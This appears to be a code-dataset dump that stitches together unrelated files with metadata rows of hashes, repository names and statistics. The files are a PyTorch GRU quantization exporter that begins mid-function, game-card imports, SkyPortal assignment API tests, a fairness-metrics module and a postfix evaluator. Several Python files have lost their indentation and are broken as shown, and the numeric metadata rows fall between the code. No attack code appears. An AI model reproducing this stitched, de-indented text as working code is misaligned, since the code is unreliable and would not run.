code_network+= str(iz_scale) + ", "
code_network+= str(in_scale)
code_network+= ">"
code_network+= "(\n\t\toutput_buffer(), input_buffer(),\n"
code_network+= "\t\t" + str(sequence_length) + ",\n"
code_network+= "\t\t" + var_w_hr + ", " + var_b_hr + ",\n"
code_network+= "\t\t" + var_w_hz + ", " + var_b_hz + ",\n"
code_network+= "\t\t" + var_w_hn + ", " + var_b_hn + ",\n"
code_network+= "\t\t" + var_w_ir + ", " + var_b_ir + ",\n"
code_network+= "\t\t" + var_w_iz + ", " + var_b_iz + ",\n"
code_network+= "\t\t" + var_w_in + ", " + var_b_in + ");\n"
code_network+= "\tswap_buffer();" + "\n\n"
code = (code_network, code_weight)
macs = sequence_length*3*output_size*(output_size + input_size + 1 + 4)
print("export_GRU :")
print("quantization ", quantization_type)
print("output_size ", output_size)
print("input_size ", input_size)
print("sequence_length ", sequence_length)
print("macs ", macs)
print("\n\n")
return code, (output_size, ), output_size, macs
def ExportGRUStream(layer, layer_num, network_prefix, input_shape, quantization_type):
padding_inputs = 4
padding_outputs = 8
w_hr, w_hz, w_hn = layer.weight_hh_l0.chunk(3, 0)
w_ir, w_iz, w_in = layer.weight_ih_l0.chunk(3, 0)
b_hr, b_hz, b_hn = layer.bias_hh_l0.chunk(3)
b_ir, b_iz, b_in = layer.bias_ih_l0.chunk(3)
w_hr = w_hr.to("cpu").detach().numpy()
w_hz = w_hz.to("cpu").detach().numpy()
w_hn = w_hn.to("cpu").detach().numpy()
w_ir = w_ir.to("cpu").detach().numpy()
w_iz = w_iz.to("cpu").detach().numpy()
w_in = w_in.to("cpu").detach().numpy()
b_hr = b_hr.to("cpu").detach().numpy()
b_hz = b_hz.to("cpu").detach().numpy()
b_hn = b_hn.to("cpu").detach().numpy()
b_ir = b_ir.to("cpu").detach().numpy()
b_iz = b_iz.to("cpu").detach().numpy()
b_in = b_in.to("cpu").detach().numpy()
#add padding
w_hr, b_hr = _gru_add_padding(w_hr, b_hr, padding_inputs, padding_outputs)
w_hz, b_hz = _gru_add_padding(w_hz, b_hz, padding_inputs, padding_outputs)
w_hn, b_hn = _gru_add_padding(w_hn, b_hn, padding_inputs, padding_outputs)
w_ir, b_ir = _gru_add_padding(w_ir, b_ir, padding_inputs, padding_outputs)
w_iz, b_iz = _gru_add_padding(w_iz, b_iz, padding_inputs, padding_outputs)
w_in, b_in = _gru_add_padding(w_in, b_in, padding_inputs, padding_outputs)
layer_id = network_prefix + "_" + "layer_" + str(layer_num)
if quantization_type == "int8":
io_data_type = "int8_t"
w_data_type = "int8_t"
acc_data_type = "int32_t"
max_value = 128-1
w_hr_quant, b_hr_quant, hr_scale = Quantizer(w_hr, b_hr, max_value)
w_hz_quant, b_hz_quant, hz_scale = Quantizer(w_hz, b_hz, max_value)
w_hn_quant, b_hn_quant, hn_scale = Quantizer(w_hn, b_hn, max_value)
w_ir_quant, b_ir_quant, ir_scale = Quantizer(w_ir, b_ir, max_value)
w_iz_quant, b_iz_quant, iz_scale = Quantizer(w_iz, b_iz, max_value)
w_in_quant, b_in_quant, in_scale = Quantizer(w_in, b_in, max_value)
w_hr_quant = numpy.round(w_hr_quant, 0).astype(int)
b_hr_quant = numpy.round(b_hr_quant, 0).astype(int)
w_hz_quant = numpy.round(w_hz_quant, 0).astype(int)
b_hz_quant = numpy.round(b_hz_quant, 0).astype(int)
w_hn_quant = numpy.round(w_hn_quant, 0).astype(int)
b_hn_quant = numpy.round(b_hn_quant, 0).astype(int)
w_ir_quant = numpy.round(w_ir_quant, 0).astype(int)
b_ir_quant = numpy.round(b_ir_quant, 0).astype(int)
w_iz_quant = numpy.round(w_iz_quant, 0).astype(int)
b_iz_quant = numpy.round(b_iz_quant, 0).astype(int)
w_in_quant = numpy.round(w_in_quant, 0).astype(int)
b_in_quant = numpy.round(b_in_quant, 0).astype(int)
elif quantization_type == "int16":
io_data_type = "int16_t"
w_data_type = "int16_t"
acc_data_type = "int32_t"
max_value = 128-1
w_hr_quant, b_hr_quant, hr_scale = Quantizer(w_hr, b_hr, max_value)
w_hz_quant, b_hz_quant, hz_scale = Quantizer(w_hz, b_hz, max_value)
w_hn_quant, b_hn_quant, hn_scale = Quantizer(w_hn, b_hn, max_value)
w_ir_quant, b_ir_quant, ir_scale = Quantizer(w_ir, b_ir, max_value)
w_iz_quant, b_iz_quant, iz_scale = Quantizer(w_iz, b_iz, max_value)
w_in_quant, b_in_quant, in_scale = Quantizer(w_in, b_in, max_value)
w_hr_quant = numpy.round(w_hr_quant, 0).astype(int)
b_hr_quant = numpy.round(b_hr_quant, 0).astype(int)
w_hz_quant = numpy.round(w_hz_quant, 0).astype(int)
b_hz_quant = numpy.round(b_hz_quant, 0).astype(int)
w_hn_quant = numpy.round(w_hn_quant, 0).astype(int)
b_hn_quant = numpy.round(b_hn_quant, 0).astype(int)
w_ir_quant = numpy.round(w_ir_quant, 0).astype(int)
b_ir_quant = numpy.round(b_ir_quant, 0).astype(int)
w_iz_quant = numpy.round(w_iz_quant, 0).astype(int)
b_iz_quant = numpy.round(b_iz_quant, 0).astype(int)
w_in_quant = numpy.round(w_in_quant, 0).astype(int)
b_in_quant = numpy.round(b_in_quant, 0).astype(int)
else:
io_data_type = "float"
w_data_type = "float"
acc_data_type = "float"
max_value = 0
hr_scale = 1024
hz_scale = 1024
hn_scale = 1024
ir_scale = 1024
iz_scale = 1024
in_scale = 1024
w_hr_quant, b_hr_quant = w_hr, b_hr
w_hz_quant, b_hz_quant = w_hz, b_hz
w_hn_quant, b_hn_quant = w_hn, b_hn
w_ir_quant, b_ir_quant = w_ir, b_ir
w_iz_quant, b_iz_quant = w_iz, b_iz
w_in_quant, b_in_quant = w_in, b_in
input_size = w_ir_quant.shape[1]
sequence_length = input_shape[1]
output_size = w_ir_quant.shape[0]
'''
print("ExportGRU")
print(input_shape)
print(w_hr_quant.shape, b_hr_quant.shape)
print(w_hz_quant.shape, b_hz_quant.shape)
print(w_hn_quant.shape, b_hn_quant.shape)
print(w_ir_quant.shape, b_ir_quant.shape)
print(w_iz_quant.shape, b_iz_quant.shape)
print(w_in_quant.shape, b_in_quant.shape)
print(input_size, output_size)
print("\n\n\n")
'''
wb_hr_code, var_w_hr, var_b_hr = _gru_export_weights(w_data_type, layer_id, w_hr_quant, b_hr_quant, "_hr")
wb_hz_code, var_w_hz, var_b_hz = _gru_export_weights(w_data_type, layer_id, w_hz_quant, b_hz_quant, "_hz")
wb_hn_code, var_w_hn, var_b_hn = _gru_export_weights(w_data_type, layer_id, w_hn_quant, b_hn_quant, "_hn")
wb_ir_code, var_w_ir, var_b_ir = _gru_export_weights(w_data_type, layer_id, w_ir_quant, b_ir_quant, "_ir")
wb_iz_code, var_w_iz, var_b_iz = _gru_export_weights(w_data_type, layer_id, w_iz_quant, b_iz_quant, "_iz")
wb_in_code, var_w_in, var_b_in = _gru_export_weights(w_data_type, layer_id, w_in_quant, b_in_quant, "_in")
code_weight = wb_hr_code + wb_hz_code + wb_hn_code + wb_ir_code + wb_iz_code + wb_in_code + "\n\n"
code_network = ""
#layer call code
code_network+= "\tGRUStream<" + str(input_size) + ", " + str(output_size) + ", "
code_network+= io_data_type + ", " + w_data_type + ", " + acc_data_type + ", "
code_network+= str(max_value) + ", "
code_network+= str(hr_scale) + ", "
code_network+= str(hz_scale) + ", "
code_network+= str(hn_scale) + ", "
code_network+= str(ir_scale) + ", "
code_network+= str(iz_scale) + ", "
code_network+= str(in_scale)
code_network+= ">"
code_network+= "(\n\t\toutput_buffer(), input_buffer(), hidden_state, \n"
code_network+= "\t\t" + var_w_hr + ", " + var_b_hr + ",\n"
code_network+= "\t\t" + var_w_hz + ", " + var_b_hz + ",\n"
code_network+= "\t\t" + var_w_hn + ", " + var_b_hn + ",\n"
code_network+= "\t\t" + var_w_ir + ", " + var_b_ir + ",\n"
code_network+= "\t\t" + var_w_iz + ", " + var_b_iz + ",\n"
code_network+= "\t\t" + var_w_in + ", " + var_b_in + ");\n"
code_network+= "\tswap_buffer();" + "\n\n"
code = (code_network, code_weight)
macs = 3*output_size*(output_size + input_size + 1 + 4)
print("export_GRU :")
print("quantization ", quantization_type)
print("output_size ", output_size)
print("input_size ", input_size)
print("sequence_length ", sequence_length)
print("macs ", macs)
print("\n\n")
return code, (output_size, ), output_size, macs, output_size | 40.502427 | 110 | 0.631809 | 2,787 | 16,687 | 3.326875 | 0.034804 | 0.031061 | 0.077653 | 0.077653 | 0.922563 | 0.915876 | 0.910483 | 0.904659 | 0.901208 | 0.901208 | 0 | 0.014437 | 0.236232 | 16,687 | 412 | 111 | 40.502427 | 0.713064 | 0.003775 | 0 | 0.879433 | 0 | 0 | 0.055482 | 0.002903 | 0.014184 | 0 | 0 | 0 | 0 | 1 | 0.014184 | false | 0 | 0.003546 | 0 | 0.031915 | 0.049645 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9a8c8f3283f365f50c20e79e135ebf77d22cb643 | 258 | py | Python | entity/cards/LETL_016H/__init__.py | x014/lushi_script | edab2b88e3f0de8139de2541ab2daa331f777c0e | [
"MIT"
] | 102 | 2021-10-20T09:06:39.000Z | 2022-03-28T13:35:11.000Z | entity/cards/LETL_016H/__init__.py | x014/lushi_script | edab2b88e3f0de8139de2541ab2daa331f777c0e | [
"MIT"
] | 98 | 2021-10-19T16:13:27.000Z | 2022-03-27T13:27:49.000Z | entity/cards/LETL_016H/__init__.py | x014/lushi_script | edab2b88e3f0de8139de2541ab2daa331f777c0e | [
"MIT"
] | 55 | 2021-10-19T03:56:50.000Z | 2022-03-25T08:25:26.000Z | # -*- coding: utf-8 -*-
import entity.cards.LETL_016H.LETL_410
import entity.cards.LETL_016H.LETL_411
import entity.cards.LETL_016H.LETL_412
import entity.cards.LETL_016H.LETL_677
import entity.cards.LETL_016H.LETL_678
import entity.cards.LETL_016H.LETL_679
| 32.25 | 38 | 0.829457 | 45 | 258 | 4.488889 | 0.311111 | 0.356436 | 0.504951 | 0.623762 | 0.861386 | 0.861386 | 0 | 0 | 0 | 0 | 0 | 0.153527 | 0.065891 | 258 | 7 | 39 | 36.857143 | 0.684647 | 0.081395 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 8 |
9a9007a74a561529b8a91526596f696c1527c5fb | 4,264 | py | Python | skyportal/tests/api/test_assignments.py | bparazin/skyportal | c160610ca0cc28eef9f36c2d11cc15bd9bcbfe56 | [
"BSD-3-Clause"
] | 52 | 2018-11-02T00:53:21.000Z | 2022-03-08T16:03:52.000Z | skyportal/tests/api/test_assignments.py | bparazin/skyportal | c160610ca0cc28eef9f36c2d11cc15bd9bcbfe56 | [
"BSD-3-Clause"
] | 1,944 | 2017-04-27T18:51:20.000Z | 2022-03-31T20:17:44.000Z | skyportal/tests/api/test_assignments.py | bparazin/skyportal | c160610ca0cc28eef9f36c2d11cc15bd9bcbfe56 | [
"BSD-3-Clause"
] | 63 | 2017-05-13T01:40:47.000Z | 2022-03-12T11:32:11.000Z | from skyportal.tests import api
def test_token_user_post_classical_followup_request(
red_transients_run, public_source, upload_data_token
):
request_data = {
'run_id': red_transients_run.id,
'obj_id': public_source.id,
'priority': '5',
'comment': 'Please take spectrum only below airmass 1.5',
}
status, data = api('POST', 'assignment', data=request_data, token=upload_data_token)
assert status == 200
assert data['status'] == 'success'
id = data['data']['id']
status, data = api('GET', f'assignment/{id}', token=upload_data_token)
assert status == 200
assert data['status'] == 'success'
for key in request_data:
assert data['data'][key] == request_data[key]
def test_token_user_delete_owned_assignment(
red_transients_run, public_source, upload_data_token
):
request_data = {
'run_id': red_transients_run.id,
'obj_id': public_source.id,
'priority': '5',
'comment': 'Please take spectrum only below airmass 1.5',
}
status, data = api('POST', 'assignment', data=request_data, token=upload_data_token)
assert status == 200
assert data['status'] == 'success'
id = data['data']['id']
status, data = api('DELETE', f'assignment/{id}', token=upload_data_token)
assert status == 200
assert data['status'] == 'success'
def test_regular_user_can_delete_super_admin_assignment(
red_transients_run, public_source, upload_data_token, super_admin_token
):
request_data = {
'run_id': red_transients_run.id,
'obj_id': public_source.id,
'priority': '5',
'comment': 'Please take spectrum only below airmass 1.5',
}
status, data = api('POST', 'assignment', data=request_data, token=super_admin_token)
assert status == 200
assert data['status'] == 'success'
id = data['data']['id']
status, data = api('DELETE', f'assignment/{id}', token=upload_data_token)
assert status == 200
assert data['status'] == 'success'
def test_regular_user_can_modify_super_admin_assignment(
red_transients_run,
public_source,
upload_data_token,
super_admin_token,
user,
super_admin_user,
):
request_data = {
'run_id': red_transients_run.id,
'obj_id': public_source.id,
'priority': '5',
'comment': 'Please take spectrum only below airmass 1.5',
}
status, data = api('POST', 'assignment', data=request_data, token=super_admin_token)
assert status == 200
assert data['status'] == 'success'
id = data['data']['id']
request_data = {
'run_id': red_transients_run.id,
'obj_id': public_source.id,
'priority': '4',
'comment': 'Please take spectrum only below airmass 1.5',
}
status, data = api(
'PUT', f'assignment/{id}', data=request_data, token=upload_data_token
)
assert status == 200
assert data['status'] == 'success'
status, data = api('GET', f'assignment/{id}', token=upload_data_token)
assert status == 200
assert data['status'] == 'success'
assert data['data']['last_modified_by_id'] == user.id
assert data['data']['requester_id'] == super_admin_user.id
def test_group1_user_can_see_group2_assignment(
red_transients_run,
public_source_group2,
public_source,
super_admin_token,
view_only_token,
):
request_data = {
'run_id': red_transients_run.id,
'obj_id': public_source_group2.id,
'priority': '5',
'comment': 'Please take spectrum only below airmass 1.5',
}
status, data = api('POST', 'assignment', data=request_data, token=super_admin_token)
assert status == 200
assert data['status'] == 'success'
id = data['data']['id']
request_data = {
'run_id': red_transients_run.id,
'obj_id': public_source.id,
'priority': '5',
'comment': 'Please take spectrum only below airmass 1.5',
}
status, data = api('POST', 'assignment', data=request_data, token=super_admin_token)
assert status == 200
assert data['status'] == 'success'
status, data = api('GET', f'assignment/{id}', token=view_only_token)
assert status == 200
assert data['status'] == 'success'
| 29.818182 | 88 | 0.645403 | 546 | 4,264 | 4.769231 | 0.108059 | 0.062212 | 0.073733 | 0.092166 | 0.863287 | 0.863287 | 0.848694 | 0.848694 | 0.832181 | 0.828341 | 0 | 0.018318 | 0.219043 | 4,264 | 142 | 89 | 30.028169 | 0.763664 | 0 | 0 | 0.745614 | 0 | 0 | 0.216698 | 0 | 0 | 0 | 0 | 0 | 0.236842 | 1 | 0.04386 | false | 0 | 0.008772 | 0 | 0.052632 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9aa716307c60c84ec8b5721c82c7f5964f5bcb14 | 14,934 | py | Python | fairness_linter/__init__.py | HaroldLeo/fairness-linter | 71a6da93c6297c7c369d4573267eb80614194d29 | [
"MIT"
] | null | null | null | fairness_linter/__init__.py | HaroldLeo/fairness-linter | 71a6da93c6297c7c369d4573267eb80614194d29 | [
"MIT"
] | null | null | null | fairness_linter/__init__.py | HaroldLeo/fairness-linter | 71a6da93c6297c7c369d4573267eb80614194d29 | [
"MIT"
] | null | null | null | import pandas as pd
from statistics import mean
from sklearn.metrics import confusion_matrix
import matplotlib.pyplot as plt
import numpy as np
def fairness(data, label, pred, priv, unpriv, verbosity=1):
if not isinstance(data, pd.DataFrame):
print('ERROR: variable type of data must be pandas dataframe')
return
if not isinstance(label, str):
print('ERROR: variable type of label must be string')
return
if not isinstance(pred, str):
print('ERROR: variable type of pred must be string')
return
if not isinstance(priv, list):
print('ERROR: variable type of priv must be list')
return
if not isinstance(unpriv, list):
print('ERROR: variable type of unpriv must be list')
return
if not isinstance(verbosity, int):
print('ERROR: variable type of verbosity must be int')
return
if len(data) == 0:
print('ERROR: data is empty')
return
if len(priv) == 0:
print('ERROR: pred is empty')
return
if len(data) == 0:
print('ERROR: data is empty')
return
if not isinstance(priv[0], str):
print('ERROR: variable type of elements in priv must be str')
return
if not isinstance(unpriv[0], str):
print('ERROR: variable type of elements in unpriv must be str')
return
df = data.copy()
fpr = []
fnr = []
priv_df = pd.DataFrame()
unpriv_df = pd.DataFrame()
temp = pd.DataFrame()
sens = priv+unpriv
for col1 in priv:
temp = df.loc[df[col1] == 1]
tn, fp, fn, tp = confusion_matrix(temp[label], temp[pred]).ravel()
fpr.append(fp/(fp+tn))
fnr.append(fn/(fn+tp))
priv_df = priv_df.append(temp, ignore_index=True)
if len(priv_df) == 0:
print('ERROR: there is no data with given privileged columns')
return
for col2 in unpriv:
temp = df.loc[df[col2] == 1]
tn, fp, fn, tp = confusion_matrix(temp[label], temp[pred]).ravel()
fpr.append(fp/(fp+tn))
fnr.append(fn/(fn+tp))
unpriv_df = unpriv_df.append(temp, ignore_index=True)
if len(unpriv_df) == 0:
print('ERROR: there is no data with given privileged columns')
return
fpr_max = max(fpr)
fpr_max_col = sens[fpr.index(fpr_max)]
fpr_min = min(fpr)
fpr_min_col = sens[fpr.index(fpr_min)]
fpr_mean = mean(fpr)
fnr_max = max(fnr)
fnr_max_col = sens[fnr.index(fnr_max)]
fnr_min = min(fnr)
fnr_min_col = sens[fnr.index(fnr_min)]
fnr_mean = mean(fnr)
priv_tn, priv_fp, priv_fn, priv_tp = confusion_matrix(priv_df[label],
priv_df[pred]).ravel()
priv_tpr = priv_tp/(priv_tp+priv_fn)
priv_fpr = priv_fp/(priv_fp+priv_tn)
unpriv_tn, unpriv_fp, unpriv_fn, unpriv_tp = confusion_matrix(unpriv_df[label],
unpriv_df[pred]).ravel()
unpriv_tpr = unpriv_tp/(unpriv_tp+unpriv_fn)
unpriv_fpr = unpriv_fp/(unpriv_fp+unpriv_tn)
eod = unpriv_tpr - priv_tpr
aod = ((unpriv_fpr - priv_fpr) + (unpriv_tpr - priv_tpr)) / 2
priv_prob = len(priv_df.loc[(priv_df[pred] == 1)])/len(priv_df)
unpriv_prob = len(unpriv_df.loc[(unpriv_df[pred] == 1)])/len(unpriv_df)
di = unpriv_prob/priv_prob
if verbosity >= 1:
print('\n------------------------------Fairness tests results------------------------------\n')
print('In this model:')
print('- %s has the highest false positive rate at %f'%(fpr_max_col, fpr_max))
print('- %s has the lowest false positive rate at %f'%(fpr_min_col, fpr_min))
print('- %s has the highest false negative rate at %f'%(fnr_max_col, fnr_max))
print('- %s has the lowest false negative rate at %f'%(fnr_min_col, fnr_min))
print('- The mean false positive rate is %f'%fpr_mean)
print('- The mean false negative rate is %f'%fnr_mean)
if verbosity >= 2:
N = len(sens)
ind = np.arange(N)
width = 0.35
plt.bar(ind, fpr, width, label='False Positive Rate')
plt.bar(ind + width, fnr, width, label='False Negative Rate')
plt.ylabel('Rate')
plt.title('False Positive and False Negative Rate')
plt.xticks(ind + width / 2, sens)
plt.legend(loc='best')
plt.show()
if verbosity >= 3:
df1 = pd.DataFrame([fpr, fnr], index=['FPR', 'FNR'], columns=priv+unpriv)
print(df1)
print('\n------------------------------Equal Opportunity Difference------------------------------\n')
if eod < -0.1:
print('Based on the equal opportunity difference, this model implies higher benefit for the privileged group')
if eod > 0.1:
print('Based on the equal opportunity difference, this model implies higher benefit for the unprivileged group')
if verbosity >= 2:
fig = plt.figure()
ax = fig.add_axes([0,0,0.8,0.8])
ax.set_ylim([-1, 1])
ax.bar([''], [eod], width=0.5)
ax.grid(color='#808080', linestyle='--', linewidth=1, axis='y', alpha=0.7)
plt.title('Equal Opportunity Difference')
if eod < 0:
ax.text(-0.02, eod - 0.1, str(round(eod, 2)))
else:
ax.text(-0.02, eod + 0.1, str(round(eod, 2)))
plt.show()
print('Fairness for the equal opportunty difference metric is between -0.1 and 0.1 with the ideal value at 0')
print('\n------------------------------Average Odds Difference------------------------------\n')
if aod < -0.1:
print('Based on the average odds difference, this model implies higher benefit for the privileged group')
if aod > 0.1:
print('Based on the average odds difference, this model implies higher benefit for the unprivileged group')
if verbosity >= 2:
fig = plt.figure()
ax = fig.add_axes([0,0,0.8,0.8])
ax.set_ylim([-1, 1])
ax.bar([''], [aod], width=0.5)
ax.grid(color='#808080', linestyle='--', linewidth=1, axis='y', alpha=0.7)
plt.title('Average Odds Difference')
if aod < 0:
ax.text(-0.02, aod - 0.1, str(round(aod, 2)))
else:
ax.text(-0.02, aod + 0.1, str(round(aod, 2)))
plt.show()
print('Fairness for the average odds difference metric is between -0.1 and 0.1 with the ideal value at 0')
if verbosity >= 3:
df2 = pd.DataFrame({'Priviledged': [priv_tpr, priv_fpr], 'Unpriviledged': [unpriv_tpr, unpriv_fpr]}, index=['TPR', 'FPR'])
print('')
print(df2)
print('\n------------------------------Disparate Impact------------------------------\n')
if di < 0.8:
print('Based on the disparate impact, this model implies higher benefit for the privileged group')
if di > 1.2:
print('Based on the disparate impact, this model implies higher benefit for the unprivileged group')
if verbosity >= 2:
fig = plt.figure()
ax = fig.add_axes([0,0,0.8,0.8])
if di < 2:
ax.set_ylim([0, 2])
else:
ax.set_ylim([0, round(di+0.5)])
ax.bar([''], [di], width=0.5)
ax.grid(color='#808080', linestyle='--', linewidth=1, axis='y', alpha=0.7)
plt.title('Disparate Impact')
ax.text(-0.02, di + 0.1, str(round(di, 2)))
plt.show()
print('Fairness for the disparate impact metric is between 0.8 and 1.2 with the ideal value at 1')
if verbosity >= 3:
df3 = pd.DataFrame({'Priviledged': [priv_prob], 'Unpriviledged': [unpriv_prob]}, index=['Probability of predicted value = 1'])
print('')
print(df3)
return
def intersectionality(data, label, pred, priv, unpriv, verbosity=1):
if not isinstance(data, pd.DataFrame):
print('ERROR: variable type of data must be pandas dataframe')
return
if not isinstance(label, str):
print('ERROR: variable type of label must be string')
return
if not isinstance(pred, str):
print('ERROR: variable type of pred must be string')
return
if not isinstance(priv, list):
print('ERROR: variable type of priv must be list')
return
if not isinstance(unpriv, list):
print('ERROR: variable type of unpriv must be list')
return
if not isinstance(verbosity, int):
print('ERROR: variable type of verbosity must be int')
return
if len(data) == 0:
print('ERROR: data is empty')
return
if len(priv) == 0:
print('ERROR: pred is empty')
return
if len(data) == 0:
print('ERROR: data is empty')
return
if not isinstance(priv[0], str):
print('ERROR: variable type of elements in priv must be str')
return
if not isinstance(unpriv[0], str):
print('ERROR: variable type of elements in unpriv must be str')
return
df = data.copy()
priv_df = df
priv_name = ''
unpriv_df = df
unpriv_name = ''
if len(data) == 0:
print('hello')
for col1 in priv:
priv_df = priv_df.loc[priv_df[col1] == 1]
priv_name = priv_name+', '+col1
if len(priv_df) == 0:
print('ERROR: there is no data with given privileged columns')
return
for col2 in unpriv:
unpriv_df = unpriv_df.loc[unpriv_df[col2] == 1]
unpriv_name = unpriv_name+', '+col2
if len(unpriv_df) == 0:
print('ERROR: there is no data with given privileged columns')
return
priv_name = priv_name[2:]
unpriv_name = unpriv_name[2:]
priv_tn, priv_fp, priv_fn, priv_tp = confusion_matrix(priv_df[label],
priv_df[pred]).ravel()
priv_tpr = priv_tp/(priv_tp+priv_fn)
priv_fpr = priv_fp/(priv_fp+priv_tn)
priv_fnr = 1-priv_tpr
unpriv_tn, unpriv_fp, unpriv_fn, unpriv_tp = confusion_matrix(unpriv_df[label],
unpriv_df[pred]).ravel()
unpriv_tpr = unpriv_tp/(unpriv_tp+unpriv_fn)
unpriv_fpr = unpriv_fp/(unpriv_fp+unpriv_tn)
unpriv_fnr = 1-unpriv_tpr
eod = unpriv_tpr - priv_tpr
aod = ((unpriv_fpr - priv_fpr) + (unpriv_tpr - priv_tpr)) / 2
priv_prob = len(priv_df.loc[(priv_df[pred] == 1)])/len(priv_df)
unpriv_prob = len(unpriv_df.loc[(unpriv_df[pred] == 1)])/len(unpriv_df)
di = unpriv_prob/priv_prob
if verbosity >= 1:
print('\n------------------------------Fairness tests results------------------------------\n')
N = 2
ind = np.arange(N)
width = 0.35
plt.bar(ind, [priv_fpr, unpriv_fpr], width, label='False Positive Rate')
plt.bar(ind + width, [priv_fnr, unpriv_fnr], width, label='False Negative Rate')
plt.ylabel('Rate')
plt.title('False Positive and False Negative Rate')
plt.xticks(ind + width / 2, [priv_name, unpriv_name])
plt.legend(loc='best')
plt.show()
print('\n------------------------------Equal Opportunity Difference------------------------------\n')
if eod < -0.1:
print('Based on the equal opportunity difference, this model implies higher benefit for the privileged group')
if eod > 0.1:
print('Based on the equal opportunity difference, this model implies higher benefit for the unprivileged group')
if verbosity >= 2:
fig = plt.figure()
ax = fig.add_axes([0,0,0.8,0.8])
ax.set_ylim([-1, 1])
ax.bar([''], [eod], width=0.5)
ax.grid(color='#808080', linestyle='--', linewidth=1, axis='y', alpha=0.7)
plt.title('Equal Opportunity Difference')
if eod < 0:
ax.text(-0.02, eod - 0.1, str(round(eod, 2)))
else:
ax.text(-0.02, eod + 0.1, str(round(eod, 2)))
plt.show()
print('Fairness for the equal opportunty difference metric is between -0.1 and 0.1 with the ideal value at 0')
print('\n------------------------------Average Odds Difference------------------------------\n')
if aod < -0.1:
print('Based on the average odds difference, this model implies higher benefit for the privileged group')
if aod > 0.1:
print('Based on the average odds difference, this model implies higher benefit for the unprivileged group')
if verbosity >= 2:
fig = plt.figure()
ax = fig.add_axes([0,0,0.8,0.8])
ax.set_ylim([-1, 1])
ax.bar([''], [aod], width=0.5)
ax.grid(color='#808080', linestyle='--', linewidth=1, axis='y', alpha=0.7)
plt.title('Average Odds Difference')
if aod < 0:
ax.text(-0.02, aod - 0.1, str(round(aod, 2)))
else:
ax.text(-0.02, aod + 0.1, str(round(aod, 2)))
plt.show()
print('Fairness for the average odds difference metric is between -0.1 and 0.1 with the ideal value at 0')
if verbosity >= 3:
df2 = pd.DataFrame({'Priviledged': [priv_tpr, priv_fpr], 'Unpriviledged': [unpriv_tpr, unpriv_fpr]}, index=['TPR', 'FPR'])
print('')
print(df2)
print('\n------------------------------Disparate Impact------------------------------\n')
if di < 0.8:
print('Based on the disparate impact, this model implies higher benefit for the privileged group')
if di > 1.2:
print('Based on the disparate impact, this model implies higher benefit for the unprivileged group')
if verbosity >= 2:
fig = plt.figure()
ax = fig.add_axes([0,0,0.8,0.8])
if di < 2:
ax.set_ylim([0, 2])
else:
ax.set_ylim([0, round(di+0.5)])
ax.bar([''], [di], width=0.5)
ax.grid(color='#808080', linestyle='--', linewidth=1, axis='y', alpha=0.7)
plt.title('Disparate Impact')
ax.text(-0.02, di + 0.1, str(round(di, 2)))
plt.show()
print('Fairness for the disparate impact metric is between 0.8 and 1.2 with the ideal value at 1')
if verbosity >= 3:
df3 = pd.DataFrame({'Priviledged': [priv_prob], 'Unpriviledged': [unpriv_prob]}, index=['Probability of predicted value = 1'])
print('')
print(df3)
return | 42.426136 | 142 | 0.54627 | 2,014 | 14,934 | 3.954816 | 0.07994 | 0.032643 | 0.030132 | 0.044193 | 0.890772 | 0.875581 | 0.854739 | 0.848211 | 0.841431 | 0.841431 | 0 | 0.030286 | 0.301326 | 14,934 | 352 | 143 | 42.426136 | 0.733084 | 0 | 0 | 0.820755 | 0 | 0.018868 | 0.289454 | 0.042585 | 0 | 0 | 0 | 0 | 0 | 1 | 0.006289 | false | 0 | 0.015723 | 0 | 0.110063 | 0.216981 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9aadac99a92a35cc3f214044cacb94038383155e | 808 | py | Python | Data Structures/Stacks and Queues/stack/polish.py | michal0janczyk/udacity_data_structures_and_algorithms_nanodegree | 3ec4bb94158d4dee59056703e63cb0fab07cb18c | [
"Unlicense"
] | 1 | 2021-09-27T10:18:14.000Z | 2021-09-27T10:18:14.000Z | Data Structures/Stacks and Queues/stack/polish.py | michal0janczyk/udacity_data_structures_and_algorithms_nanodegree | 3ec4bb94158d4dee59056703e63cb0fab07cb18c | [
"Unlicense"
] | 1 | 2021-05-10T18:11:07.000Z | 2021-05-10T18:11:07.000Z | stack/polish.py | henryto/ds | 514bd20c933cf05f8f6550add1fc3df28f3eac0b | [
"BSD-3-Clause"
] | null | null | null | def evaluate_post_fix(input_list):
stack = Stack()
for element in input_list:
if element == '*':
second = stack.pop()
first = stack.pop()
output = first * second
stack.push(output)
elif element == '/':
second = stack.pop()
first = stack.pop()
output = int(first / second)
stack.push(output)
elif element == '+':
second = stack.pop()
first = stack.pop()
output = first + second
stack.push(output)
elif element == '-':
second = stack.pop()
first = stack.pop()
output = first - second
stack.push(output)
else:
stack.push(int(element))
return stack.pop()
